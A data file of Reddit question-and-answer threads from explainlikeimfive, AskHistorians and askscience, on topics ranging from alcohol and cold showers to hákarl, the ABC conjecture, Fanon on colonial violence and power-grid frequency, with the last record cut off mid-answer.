{"q_id": "e2zrcq", "title": "why does the cold wind, a shower, etc. somehow dial down your tipsy-ness?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e2zrcq/eli5_why_does_the_cold_wind_a_shower_etc_somehow/", "answers": {"a_id": ["f8zawus", "f901dwo", "f90h4w9", "f90kel9", "f90vigf", "f90w0cl", "f90w2bx", "f90zs2g", "f911ild", "f9171id", "f91muwl", "f91y2i6", "f91yeyg"], "score": [5580, 47, 197, 515, 93, 33, 48, 26, 4, 4, 17, 7, 7], "text": ["Being exposed to abrupt cold like a shower or wind can provoke your body into releasing adrenaline, which makes you more alert. However, it\u2019s important to note this in no way speeds up your ability to process alcohol (which decreases intoxication), so you\u2019re just as drunk as you would be without the shower/wind. Your body\u2019s blood alcohol level decreases at a fixed rate.\n\nEdit since this got waaay more attention than I thought it would:\n\nI know this is simplified with some other factors at play, and I know there\u2019s stuff you can do on the margins to affect metabolism of ethanol. It didn\u2019t seem worth diving into because it\u2019s ELI5 and I wanted to hammer home the general rule that your body works through intoxication at a measured pace you don\u2019t have much control over. Also I was eating soup and it\u2019s hard to type one handed.\n\nTo the person saying it\u2019s because of the mammalian dive reflex, it is not. That helps you hold your breath underwater by concentrating oxygen in essential regions, and (I think) is largely triggered by water all up and around your nostrils.", "Yeah, all this (and coffee) gives you is a wide awake drunk.  Who needs that? Let the bugger sleep.", "Simply put. Your body is like \u201coh fuck we might die\u201d and pumps that emergency adrenaline to get you to...not die.", "It's an illusion. You're not actually getting less drunk, your body just becomes alert and makes you feel more awake.", "I'd also like to throw out that beyond popular belief Coffee does not sober a person up. It's the TIME it takes. Time is the only true antidote for intoxication.", "I'm surprised no one has said this... \n\nThis is the effect of the mammalian dive reflex. You get it by splashing cold water in your face for example. \n\nIt has a lot of noted effects. It exists to help with your blood pressure while diving. \n\n_URL_0_\n\nIt's triggered pretty easy in some people and others need the full splashing of their face with water.", "So I should drive with the window down is what you are saying?", "Do NOT recommend an inebriated person take a shower (or exercise)! This is much more likely to harm them than to help. Their body is unable to regulate its temperature (hence why you feel warm even when the air temperature is fine or even cold), and their balance is impaired and reactions are slowed. This means that slipping and falling is much more likely, and if they fall they could hurt themselves immediately, or be unable to get out or call for help. It is possible to drown in vomit or in an inch of water. Instead of a shower, you should lay them to rest in the recovery position so that it is less likely they will drown in their own vomit.\n\nIf someone is tipsy or hung over, you should give them water to drink, and you can give them ibuprofen (ONLY ibuprofen, NOT Tylenol or anything else). Next time, try alternating your alcoholic drinks with water to prevent it from getting to this state. \n\nI am not a doctor, but this is how I remember the training courses we took in college.", "It doesn\u2019t. Just like giving a drunk person coffee, it doesn\u2019t make them less drunk. It just turns them into a drunk who won\u2019t fall asleep.", "Sometimes when I get too high and I feel a bit woozy, I'll stick my face in the freezer for a minute and it helps level me out. It's odd. I know it's not the same as when you're drunk, but it works!", "Also works for controlling a shitt. Ever have diarrhea while you were on the road? Put on your air conditioner full blast to buy you a few moments to get to your destination. It makes it crawl back up.", "It's not quite epinephrine. It's more of... When the body is exposed to cold, most of the distal blood vessels quickly constrict, diverting more of your blood in the peripheral circulation, to your core, to minimize heat loss. This has an inadvertent effect of increasing cerebral perfusion (blood flow in the brain), hence the slight increase in alertness.", "Sudden sharp sensory input releases adrenaline, maybe not a squeeze-your-adrenal-glands-dry volume of adrenaline, but enough to give you the temporary focus to analyze the source of the input."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Diving_reflex"], [], [], [], [], [], [], []]}
{"q_id": "5rhcqk", "title": "how do carnivorous animals like lions and tigers avoid scurvy?", "selftext": "Meaning, if your diet consists solely of gazelle meat, how do these animals get all the required nutrients they need to survive? I've never heard of a tiger eating his 'greens'.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5rhcqk/eli5how_do_carnivorous_animals_like_lions_and/", "answers": {"a_id": ["dd77v60", "dd7baai"], "score": [19, 7], "text": ["By not being human. \n\nFelines have internal mechanisms that produce vitamin C.  We have no such mechanism, and so we must eat oranges.", "The inability to produce vitamin C is pretty unique to humans.  Most other animals make their own.  In places where there have been civilizations where citrus does not grow the people got their vitamin C from eating the organs in animals that produce it (kidneys, IIRC)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4f6ky3", "title": "how did early settlers of iceland and greenland figure out how to make greenland shark flesh edible? seems to be a very specific and precise process.", "selftext": "According to _URL_0_\n\n\"Greenland sharks contain high levels of trimethylamine oxide (TMAO; it helps regulate their osmotic pressure and also acts as a natural antifreeze). During digestion, TMAO breaks down into trimethylamine (TMA). TMA causes intestinal distress and neurological effects similar to extreme drunkenness. Eating too much can even lead to convulsions and death. Early settlers of Iceland and Greenland figured out a way around this. Greenland shark flesh can be eaten with no ill effects if it is prepared correctly: the meat must be buried in the ground for 6 to 12 weeks, exposing it to several cycles of freezing and thawing. After this the meat is hung up to dry for several months, and finally cut into bite-sized cubes. The end product, H\u00e1karl, is a delicacy.\"", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4f6ky3/eli5_how_did_early_settlers_of_iceland_and/", "answers": {"a_id": ["d26ardk", "d26hljg", "d26hzss", "d26o79b", "d26ry7p"], "score": [4, 6, 6, 2, 3], "text": ["I'm guessing someone was super hungry and there was a dead shark on the beach that had been rotting for a bit. \"don't eat that shark Thor, you know it's poisonous\". Thor was super hungry and probably drunk so he ate some anyway and didn't die. I assume that thousand year eggs are a similar story. ", "Lots of cultures preserve food for the long winter months. And it is common practice around the globe, typically in Northern climes, to bury fish for preservation. Native Alaskans do this to their surplus fish supplies (called stinky fish) even though the fish they utilize does not contain high concentrations of TMAO. Because this preservation practice was already a part of the culture it wasn't much of a leap for natives to discover that that once preserved the meat loses its toxic properties. \n\nOn a completely unrelated note, TMAO rocks! I did my research in this area and have eaten the dish before- unfortunately it is as foul as it sounds. ", " >  The end product, H\u00e1karl, is a delicacy.  \n\nIndeed, a delicacy with the texture of wobbly pork fat and the flavor of pure ammonia.  ", "Trial and error.  And hunger, lots of hunger.\n\nSince it you can get some nutrition out of it without dying, if you got desperate enough, you'd eat it.\n\nAlso, the process they describe is actually a pretty common way to preserve fish in general.  So if you had excess fish, it only makes since you'd eat the good fish and set the shark aside for preservation, just in case.  Later on you discover the shark isn't quick so bad once your preserve it, and once that connection is made, it is just a matter of refining the preservation technique.", "Trial, error, and death.  Iceland's diet is based around starvation from being stuck on a cold, remote island.  People would starve, die of eating the wrong things, and the people that lived would try to not copy that, but desperation meant they had to eat something.  That's how they ended up with a diet based on blood and rotten shark that smells like piss.  100 years later they call it a \"cultural tradition\"."]}, "title_urls": [], "selftext_urls": ["wired.com"], "answers_urls": [[], [], [], [], []]}
{"q_id": "2dxh03", "title": "Where can I find a voting record of H.R. resolutions from 1867?", "selftext": "I apologize if this question isn't exactly history oriented, but I didn't know where else to turn.\n\nI have an assignment of where I need to find the voting record on a particular bill. I've found a copy of the legislation and the entry in the Congressional Globe of when the representative introduced it. However, I can't find whether it passed/failed, and what the votes on it were. \n\nCan anyone point me in the direction of this resource? I've been googling this stuff for a couple hours and I can't find it. :(\n\nThank you in advance!\n\nFor those curious, I'm looking for the votes on bill H.R. 29 introduced by Thaddeus Stevens in 1867. I've found a copy of the legislation in the Library of Congress as well as the introduction and reading of the bill in the Congressional Globe, but no vote records. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2dxh03/where_can_i_find_a_voting_record_of_hr/", "answers": {"a_id": ["cju94gu"], "score": [2], "text": ["What you need is the Congressional Journals. The [Century of Lawmaking](_URL_0_) site by the Library of Congress has the journals digitized. You can search for specific bills in the House or Senate or browse through a Congressional session (down to specific days if you want to see everything that went on that day)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://memory.loc.gov/ammem/amlaw/lawhome.html"]]}
{"q_id": "ejdtfl", "title": "Early 20th century saw the rise to prominence of several Hungarian scientists, referred to as \"Martians\". What lead Hungary to producing so many scientist at the time?", "selftext": "[Martians](_URL_0_)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ejdtfl/early_20th_century_saw_the_rise_to_prominence_of/", "answers": {"a_id": ["fcy1rco"], "score": [7], "text": ["So I'm not sure that Hungary is overrepresented in science _generally_ in the 20th century. They did have a group of fantastic physical-mathematical scientists that came of age within a few decades of each other. But this could be a fluke of small numbers as much as anything else. There were also many excellent scientists from Germany, France, Italy, England, Russia, Japan, and the United States, during this time. Of the Martians, von Neumann is perhaps the most scientifically and technologically important, the only one who Wigner considered a \"genius.\" \n\nThe shared factor that the main \"Martians\" had in common was an excellent _gymnasium_ (high school) education in then-cosmopolitan Budapest, and they came of age at a time in which the specific mathematical tools they each were taught were extremely useful for the emerging physics. \n\nBut I'm not sure we need to posit anything exceedingly _special_ that a few of those people ended up being very successful, other than, again, the fact that at that time a highly-mathematical education was prized and available to them. Their flight from Europe with the rise of Nazism, at a time when their particular skills were of new value to the emerging American military effort, propelled them rapidly into positions of great importance, in some cases (like Teller) well beyond their scientific work up until that point. It was unusual circumstances that led this cohort of scientists to be important in a world outside of their country of birth, and to be so marked as \"different.\" But we're talking about very small numbers here (five \"Martians,\" plus a few more if you include economists and non-scientists), not a national trend.\n\nThe best comparative study of the \"Martian\" cohort, is Hargittai's _Martians of Science_."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/The_Martians_(scientists)"], "answers_urls": [[]]}
{"q_id": "5cr5zx", "title": "What is the significance of Mochizuki's ABC Conjecture?", "selftext": "As someone who does not have a backing in hard mathematics, is there a wildly simplified version of what the abc conjecture is/and does for mathematics?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5cr5zx/what_is_the_significance_of_mochizukis_abc/", "answers": {"a_id": ["d9ysqjm"], "score": [93], "text": ["It helps us understand a little bit about what happens to primes under addition. \n\nIf you have two numbers that you know the prime decomposition of, then you know the prime decomposition of their produce automatically. 5^(3)\\*3\\*2^(2) multiplied by 7^(2)\\*5 is 7^(2)\\*5^(4)\\*3\\*2^(2). Primes behave very well and predictably under multiplication. \n\nPrimes do not behave well under addition. If you know the decomposition of two numbers, then you know nothing about the prime decomposition of their sum. 13 and 3 are both prime, but 13+3=16=2^(4), is a relatively huge power of some unrelated prime, there was no way we could predict that just from 13 and 3. It seems like it is a lost cause trying to mix the ideas of primes with addition.\n\nThe ABC-Conjecture tells us otherwise. It tells us how the situation is biased. It can tell us that if A+B=C, and A and B have lots of bit exponents in their prime decomposition, then C will likely *not* have big exponents in its prime decomposition. It says much more than this, and it's statement is very precise, but this illustrates how it gives constraints and limitations on how primes can behave under addition, which is something we've never had before.\n\n----------------------------------------------------------------------\n\nThis is used in Number Theory, because most of Number Theory can be boiled down to finding integer solutions to algebraic equations. For instance, can we find integer solutions to 5x+7y=1? A fundamental theorem says that we *can* (eg x=10,y=-7). The integer solutions to x^(2)+y^(2)=z^(2) are Pythagorean Triples (eg, x=3,y=4,z=5), and these have inspired a lot of math. The question of whether or not integer solutions exist to x^(n)+y^(n)=z^(n), for n > 2, is Fermat's Last Theorem and it basically shaped the course of Number Theory for 350 years. Integer solutions on conics (ax^(2)+bxy+cy^(2)=d), elliptic curves (y^(2)=x^(3)+ax+b) and so many more, equations like these are the foundation to Number Theory.\n\nNote how they all have a \"+\" in there. Because of this, there is a lot of machinery about primes, that we take for granted when it comes to just multiplication, that is unavailable to us. It is hard to solve these equation, hard to determine whether or not there can actually be solutions and even harder to figure out exactly how many solutions there are to them. Many deep theorems are partial answers to some of these questions. The ABC-Conjecture gives us a way to make these questions easier. If we have this way to work with primes and addition, it becomes easier to talk about what the solutions can look like. For instance, using it we can reduce the original monster proof of Fermat's Last Theorem to just a couple of lines.\n\n-------------------------------------------------------------\n\nFinally, the ABC-Conjecture is just a piece of a much larger framework in the field of \"Arithmetic Geometry\" which, roughly, tries to create a framework where geometry and arithmetic become indistinguishable and where you can use methods of one to solve problems in the other. It's a pretty deep field and has a lot of active research in it, but it's really ambitious and we're mostly guided by hints, feelings and analogies between arithmetic and geometry that we really want to be able to write down as solid theorems using solid definitions. This is the context in which Mochizuki really works. He takes ideas formulated by people throughout the 1900s about what arithmetic does, what geometry does and how they kinda interact, and turns the volume up to 11. So not only does Mochizuki's work promise a proof for the ABC-Conjecture, but it is quite possibly an arena for Arithmetic Geometry to really flourish and take footing in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2gudor", "title": "Does the Quantum Uncertainty Principle and the CPT symmetry mean that the past is also uncertain?", "selftext": "Since in theory there is a CPT symmetry, would Quantum Uncertainty also hold if we reverse the arrow of time? Does the Quantum Uncertainty Principle hold for the past, or only for the future?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2gudor/does_the_quantum_uncertainty_principle_and_the/", "answers": {"a_id": ["ckmnona", "ckmohyz"], "score": [9, 7], "text": ["CPT symmetry says that the laws of physics are *almost* symmetric in time. For everyday events you might as well call it symmetric.  Our direction of time is given by the fact that the past had very low entropy. Some interpretations of quantum mechanics give an additional direction of time by the measurement postulate (like Copenhagen Interpretation or GRW model). \n\nThe uncertainty principle is not really a time dependent statement. You could freeze the universe in time and it would still be true. Adding a direction of time is irrelevant in the basic notion of the statement. It's a mathematical fact about the mathematical representation of a particle in quantum mechanics. The name \"uncertainty\" is somewhat misleading with our modern understanding of QM. The name implies there's some information we can't access, but most interpretations of QM would just tell you you're asking a bad question when you're asking for the exact position and exact momentum at the same time.\n\n", "Yes-and-no. Ultimately this is a very very philosophical question regarding how you interpret the *meaning* of the physics we use to describe the world. \n\nI would roughly argue, in the vaguest terms (to somewhat avoid my own sympathies on the matter), that the past is *as uncertain* as the future is. Ie, in the several ways to answer the question, you'll likely find that the future is just as uncertain in ways that the past could be, or that they're both certain in the same ways. \n\nWhich isn't to say anything about determinism or epistemology (what we can know about the world). The world may be ontologically (truly/really) \"certain\" and yet epistemologically undeterministic (it is not possible, in principle, to calculate the future knowing present conditions).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "817vvd", "title": "What was combat like during the Three Kingdoms period (220-280)?", "selftext": "I can imagine what combat looked like for Roman, hoplite, or medieval armies; but I only have a vague idea of combat during the Three Kingdoms period.\n\n* What type of equipment would be the most common for soldiers?\n* What is the army composition (levies, semi-professional, professional)?\n* In general, are tactics going to resemble anything similar to Roman/Medieval, or are they significantly different?\n* Are there any good and affordable English language books for this?\n\n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/817vvd/what_was_combat_like_during_the_three_kingdoms/", "answers": {"a_id": ["dv19fkx"], "score": [22], "text": ["An excellent answer by u/aniMayor is available here that may answer some of your questions:\n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/79svdl/reading_the_three_kingdoms_one_gets_the_obviously/"]]}
{"q_id": "zy6pc", "title": "why is the cinnamon challenge so bad?", "selftext": "Why is it so difficult to swallow the cinnamon? Why does it make everyone cough so much?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zy6pc/eli5_why_is_the_cinnamon_challenge_so_bad/", "answers": {"a_id": ["c68q03o", "c68r2yi", "c68ti3s"], "score": [87, 8, 2], "text": ["When the cinnamon gets into your mouth, it instantly starts absorbing all the saliva in your mouth.  And it can absorb a lot.  I'm going to skip the science part of this for now, but ask if you want to know.  Basically, because cinnamon makes your mouth so dry so quickly, you are completely unable to swallow it.  It just sorta sticks in your mouth and throat.  Your body instantly goes \"nope nope nope\" and tries to get the cinnamon out of your mouth as fast as possible, because a dry mouth is a bad mouth.  Since you can't spit the cinnamon out due to lack of saliva, your body gets you to cough in order to throw as much cinnamon out of your mouth to be able to produce enough saliva to deal with the cinnamon.  \n\n", "One more thing: there is a risk of aspirating (breathing it into your lungs) when attempting the cinnamon challenge, so it isn't without risk. ", "It's really finely ground so it immediately puffs up in a cloud and gets into your throat and lungs if you're not very careful, it absorbs all your saliva, and it tastes fucking nasty, IMO at least. I puked when I tried to do it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6qq4c6", "title": "what's the mandela effect? and why is it named after nelson mandela?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6qq4c6/eli5_whats_the_mandela_effect_and_why_is_it_named/", "answers": {"a_id": ["dkz3th0", "dkz49bz"], "score": [11, 43], "text": ["It's a pop culture term for \"false memories,\" a concept where people believe something happened when it didn't actually happen. It's called the Mandela effect because one of the common false memories is people believing that Nelson Mandela died in prison. Some people speculate that these false memories are proof of an alternate dimension... but the most logical explanation is that some incorrect memories are socially reinforced. ", "The mandala effect is a phenomena that occurs when something incorrect becomes accepted as fact by the public, even though what's accepted isn't true. Examples being \"The Berenstien Bears\" is actually \"The Berenstain Bears\", The monopoly guy having a monocle (he doesn't), and the fact that Darth Vaders famous line is often quoted as \"Luke, I am your father.\" When in reality it's \"No, I AM your father.\"\n\nAs for its origins, it was \"Common Knowledge\" that Nelson Mandela had died in that South African prison, but in reality, he got out after 27 years, became president, and eventually died in 2013 from a respiratory infection."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3ftz93", "title": "General Tso chicken is in almost every Chinese restaurant in the world. Who was the real General Tso?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3ftz93/general_tso_chicken_is_in_almost_every_chinese/", "answers": {"a_id": ["ctrxysy", "ctrzwyo", "cts2dv9"], "score": [470, 817, 53], "text": ["Zuo Zongtang was a Qing Dynasty official, who was recruited by future Governor-General Zeng Guofan to serve as a general in the Xiang Army, a force raised by scholar-landowners to suppress the Taping peasant rebels.  He cleared the rebels from the provinces of Hunan, Guanxi, Zhejiang and Fujian, and was appointed governor general of the latter two provinces after the war.  As Commissioner of Naval industries, he founded China's first modern shipyard and naval academy.  He was transferred to the governor-generalship of Shaangan in the north, where he put down another rebellion against the Qing, the Dungan revolt, and later the Nian Rebellion.  He served a succession of prestigious posts, being named Grand Secretary, being given a seat on the Grand Council, with his last assignment being overseeing coastal defenses in Fujian during war with France.\n\nNothing to do with chicken.", "I might also add that General Tso's is not in \"almost every Chinese restaurant in the world\". Wikipedia is obviously not always the greatest source, but the start of the article kind of hits that point home: \"General Tso's chicken is a sweet, slightly spicy, deep-fried chicken dish that is popularly served in most **Chinese and Asian themed American** restaurants.\"\n\nBolding mine.\n\nGeneral Tso's is a part of the 'American Chinese' culinary tradition, and really isn't that common outside of American chinese restaurants, as well as the many Chinese restaurants in the US that cater more towards Chinese Americans and internationals that tend to be more based in traditional cuisine.\n\n", "Mod note: please stop posting references to that Netflix doco. If your expertise in this topic does not extend past watching a tv show, do not post. Additionally, tv shows do not meet the subreddit standards for acceptable sources.\n\nPlease review subreddit rules before attempting to answer questions here: [click here for the rules for answers](_URL_0_). Thanks!\n\nedit: if people would like to discuss rules, kindly create a meta post or send a message to the moderators, rather than clutter this OP's post. thx!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_answers"]]}
{"q_id": "34fvmn", "title": "Is Violence Ever Humanizing? (Fanon, Colonialism, and Expression)", "selftext": "Recently, I've been reading *The Wretched of the Earth* by Frantz Fanon, and in the section 'Concerning Violence' (which can be found [here](_URL_1_)) Fanon talks about the different types of violence that are present in the colonial context. Below I've organized them into 4 sections for the sake of simplicity:\n\n**(1):** The 1st type of violence is the most obvious - its the physical labor, harm, and subjugation done to indigenous bodies/peoples for the profit of the settler.\n\n**(2):** The 2nd type is the ontological and epistemological violence, whereby the notion of the 'colonizer' produces the 'colonized' identity. It traps the indigenous populace within a 'native', slave identity. The confines of colonialism's Manichean paradigm (good/evil, white/black, settler/native binary) harm to one's ability to even conceive of a reality outside of it. \n\n**(3):** Then the 3rd, nonviolence - a tragic irony, is divided into two subsections.\n\n(3a): The philosophy of nonviolence mobilized by the colonizer is used to render invisible the legitimized violence of the colonial State upon it's victims. This is done by claiming that the 'calm control' that exists in the colonial space is peace, or tranquility, when in fact the nonviolent appearance is simply undisturbed control.\n\n(3b): The secondary nonviolence is when the 'nonviolent philosophy' is mobilized by affranchised slaves, who attempt to pacify the oppressed in an attempt to maintain the order that has set them above their fellow 'native'.\n\nIt's interesting, and sad, to see how appeals to 'nonviolence' often enable a State monopoly on violence.\n\n**(4):** The 4th is called 'Counterviolence', or violence done onto the colonial oppressor by the native in seeking liberation. Fanon claims that this violence is humanizing, and therapeutic: *\"At the level of individuals, violence is a cleansing force. It frees the native from his inferiority complex and from his despair and inaction; it makes him fearless and restores his self-respect... Illuminated by violence, the consciousness of the people rebels against any pacification...\"*(Wretched of the Earth, 94).\n\n**(Questions Raised):** This chapter got me thinking a lot about representations of violent protest/rioting by the media, and the appeals to nonviolence being made. \n\nIt got me wondering in which historical moments, and contexts, is violence humanizing?\n\nI wonder if it ever is, or can be. Help me out [/r/askhistorians](_URL_0_)?\n\n***TL;DR:*** *Is violence ever humanizing? Can it be considered a legitimate mode of expression? In what historical moments is it acceptable, or even celebrated?*", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/34fvmn/is_violence_ever_humanizing_fanon_colonialism_and/", "answers": {"a_id": ["cqujliu", "cqv7d41"], "score": [9, 2], "text": ["First of all, excellent choice of reading material. Fanon is a really interesting scholar. If you haven't already, *The Fact of Blackness* by Fanon is another very worthwhile endeavor and speaks to a lot of the contemporary issues you are referring to obliquely. It sort of discusses how a \"black person\" is a multiply constructed social idea that is necessary to support the kinds of legitimized violence you talk about in the third point. Additionally, you do a really nice job of summarizing Fanon! As I understand his work, it seems like you have a really good grasp on it. \n\nTo answer your question, there is certainly a degree to which his analysis is spot on. A lot of post-colonial literature focuses on the ways in which colonized people are silenced by colonization. Particularly, as you touch on in the 2nd type of violence, colonization has the tendency to erase the indigenous history of colonized people is part of reinforcing that dichotomous paradigm of savage/civilized and a-historical/historical. Why history is so important is that it gives a people a sense of agency in that they can dictate their future course by virtue of having been able to dictate the course of their lives in the past. By erasing their history, colonial powers are attempting to erase the agency of the colonized as a byproduct, or at least the ability to conceive of themselves as people with agency. \n\nOn the converse, colonizers also suffer form their own propaganda to a degree in that they come to think that the colonized legitimately do not have agency. That the colonized could enact violence against colonizers, disrupting the facade of tranquility and order you discuss in the third point, is to a degree an inconceivable thought by the colonizers. Consequently, violence becomes necessary to remind the colonizer that the colonized are active agents in their own lives and not passive recipients of colonial violence. In this way, it is certainly a humanizing endeavor in restoring the agency of colonized people. There is maybe no more powerful act in asserting your agency as a human being than enacting violence. \n\nI'm not sure how aware you are of the historical background to Fanon's writing, but he is living in France during the Algerian revolution which is what really leads to a lot of his thinking about violence. I'm not even close to an expert on the Algerian Revolution,  so hopefully you can get another user to give some more details about that event and the use of violence against the colonial French state in that case. \n\nAnother avenue to explore, which I have already touched on, is the Haitian revolution. In the case of black slavery in the Americas, this notion of violence is very appropriate. Everything I talked about as far as denying the colonized agency is very explicit in the kind of plantation, chattel slavery practiced in the Americas were people were conceived of as property. The conclusion to draw about how much agency they have on their own lives based on their existence as property seems obvious. If you liked Fanon, I would strongly recommend the book *Silencing the Past* by the Haitian historian Michel-Rolph Trouillot. It really discusses the issue from the side of the colonizer in that the Haitian revolution - as a successful slave rebellion - was what Trouillot calls an \"unthinkable history\" in that Europeans had difficulty in conceiving of black slaves in the Carribbean having enough agency to enact violence against their colonial overlords. \n\nThis consequently produces cognitive dissonance between colonial *perceptions* of the colonized and the newly lived *reality* of violence by the colonized, and so that history becomes lost or poorly understood in order to resolve that cognitive dissonance. The erasure of the Haitian revolution from popular imagination and understanding of history is, Trouillot argues, the product of trying to resolve that dissonance. An attempt to resolve that same dissonance is perhaps a good way to think about media portrayals of riots and other civil violence in the U.S. \n\nI know this is perhaps a bit less specific than you were hoping for, but I hope it at least gives you something else to work with. If you could find some users with expertise in the Algerian or Haitian revolution to comment more, I think those would be very good places to start in discussing the place of violence as being humanizing as it relates to the structures of power. ", "My treatment of the topic would be far less thorough than what /u/Aerandir can do, but if you want an alternate perspective on violence, there's a fantastic book on the subject called Violence and Society in the Early Medieval West, i.e. \"the dark ages\", by Guy Halsall.\n\nIn even just the introduction, there's an in depth look at how violence could be restructured as a form of communication, whether ritual or political, or the ways violence is legitimized as public or private, legal or illegal.  I remember a discussion about the nature of feuds as itself a language, balancing between who is in the state of \"victim\" vs \"aggressor\", and the power that could be held socially in temporarily delaying action that would otherwise be demanded, which was endlessly fascinating.\n\nBut at the same time, this would be looking at violence with a lens very different from that of early modern colonization.  I know some early medieval historians have argued that if ever there was a place to apply the word \"tribal\" (including all the baggage behind that word) to Europe, this would be the time frame to do so.\n\nIt doesn't necessarily answer the question of whether violence is humanizing, but with this book, in the context of this society (where one could argue the power imbalance between parties is not as great as empire and colony), violence could \"simply\" (obviously never that simply) be viewed as intention and communication manifested physically.  "]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/askhistorians", "http://www.openanthropology.org/fanonviolence.htm"], "answers_urls": [[], []]}
{"q_id": "3l1d1r", "title": "Why does the AC frequency drop in a power grid when there is an increase in load/demand?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3l1d1r/why_does_the_ac_frequency_drop_in_a_power_grid/", "answers": {"a_id": ["cv2cb6f", "cv2cz4r", "cv2ebw5", "cv2egv4", "cv2fzat", "cv2i875", "cv2snho", "cv2v8bt", "cv389y9", "cv395bo", "cv3dsk8"], "score": [1832, 6, 104, 43, 34, 15, 5, 54, 6, 2, 2], "text": ["Electrical Engineer here... good question!  It ultimately comes down to conservation of energy.  When the grid is perfectly balanced there is the same amount of power generation as there is load.  Assuming you`re in North America, the generators are spinning at 60Hz (actual RPM will be dependent on the machine), and their prime movers are being fed just the right amount of energy to produce the power required.  This could be gas for a gas turbine, coal for coal plant, water flow for a hydro plant etc.\n\nNow when the load increases it takes time to change the amount of energy being fed to the generators.  Gas can react relatively quickly, coal is a lot slower, etc., but either way it isn`t instant.  In the time it takes to make that change there is only one place for that extra power to come from - the rotational momentum of the generator. So all generators on the grid start slowing down until that lost power can be made up by increasing the amount of fuel being delivered to the generators.\n\nSimilarly, when the load drops the generators are now being fed too much fuel and they will speed up until the feed rate of fuel can be lowered to compensate.\n\nSide note: this is why wind and solar can only make up a portion of generation on any given system before it will suffer instability issues.  Wind and solar can`t react to demand; they only produce what the environment can provide at the time.  If we want to advance renewables we really need to improve our power storage technology to compensate.", "Power is created by large spinning generators that have a characteristic frequency they spin at, and when at this speed they will produce a set amount of power. If the electrical system is drawing more energy than the power generation system is capable of producing at that time, then the only place it has left to make up the deficit is in taking some of the rotational energy away from the spinning generators producing the power. This makes up the energy deficit but at the expense of the rotational speed of the generators: ergo their rotational frequency is reduced, leading to a lower AC frequency on the grid.", "I asked a professor once, \"what happens when you turn on a light bulb?\" To which he replied \"Somewhere a generator slows down.\" So I think of all theses spinning generators, and when you turn on an electrical device like a light bulb or computer or whatever, you make it harder for the generators to spin. As a result, they slow down. Inversely, if the grid is stable and you turn something off, you've made it easier for the generators to spin, and they speed up.\n\nThere is a demand for something called frequency response and regulation. I'm actually working on multiple such projects in the Chicago area. We are building battery storage facilities that monitor the frequency of the PJM market and then act as either a load or generator depending on what's needed.", "(Former) Marine Engineer here: Power supplies on ships are like National power grids as in they are a limited entity without external input.\nAs [u/ForeverWinter] (_URL_0_) said as electrical load increases so does the mechanical force required to spin the alternators producing the power, the RPM of the alternator is directly related to the output frequency which in turn feeds the power grid.\nLike a car with your foot on the accelerator along the straight and level you will reach a point where your power output from the engine cannot exceed the resistance of the air the car is passing through so you will stick at a steady speed. If the car then commences a slight incline the 'load' on the engine increases (as you now are fighting wind resistance AND now gravity!!!). Your car will start to slow down until the power produced by your engine equalises the opposing forces again (you can also apply more accelerator to provide more power, however in a heavy vehicle or smaller engined vehicle the response will not be instantaneous (much like a large output power station).\n\nAshore they nominate power stations as 'Baseload' or 'peak load' the former being high output but slow reacting power sources (coal, Nuclear) who benefit to being on higher load levels. \nOnboard ship we would have one machine (Selected and managed by our power management computer or 'PMS') as 'Master' kind of similar to the 'baseload' power station ashore!. This would run at a specific load, Calculated by: ship's total electrical demand, Number of generators connected to the switchboard  &  available reserve power of all the machines online. That machine would then run at a continuous figure set by the PMS, other machines would then react (or 'make-up') to the continually varying load as machinery (compressors, pumps, propulsion - Diesel electric ships) started or stopped as required. \nShoreside they use a variety of methods to 'make up' the deficit between the base load and variations of demand by things like (UK) commercial breaks when millions of people switch on a high load in a short space of time (i.e. Kettle for a cup of tea!!!).\nThe UK has several [peak load plants] (_URL_1_) which can come on line rapidly and boost the power grid at the short but huge demand periods.\nI understand this phenomenon is almost entirely unique to the UK. due to our TV habits and passion for a 'cuppa' \nThere is even a job entitled 'National Balancing Engineer'  - Must be a stressful job at times when Base load stations are out of action. \nMuch like onboard ship, the more generators you have on the board/grid with available capacity the less impact increase demand will have. I have energised the main propulsion transformers on one generator before and inadvertently summoned all the other engineers due to the dimming and flickering of the lights and the howl of the diesel's turbo due to the sudden great load, whereas energising them with 4 jingerlators idling away on very low load barely even registers (may have even caused a partial black out once too ;-).\nSadly many countries (UK  &  US include) don't have much in the way of 'spare power' or reserve due to ageing/failing power stations or decommissioning with no replacements. Plus many power stations take considerable time building up the output unlike diesel engines or gas turbines where the response is comparatively quick - but their efficiency is a prohibiting factor 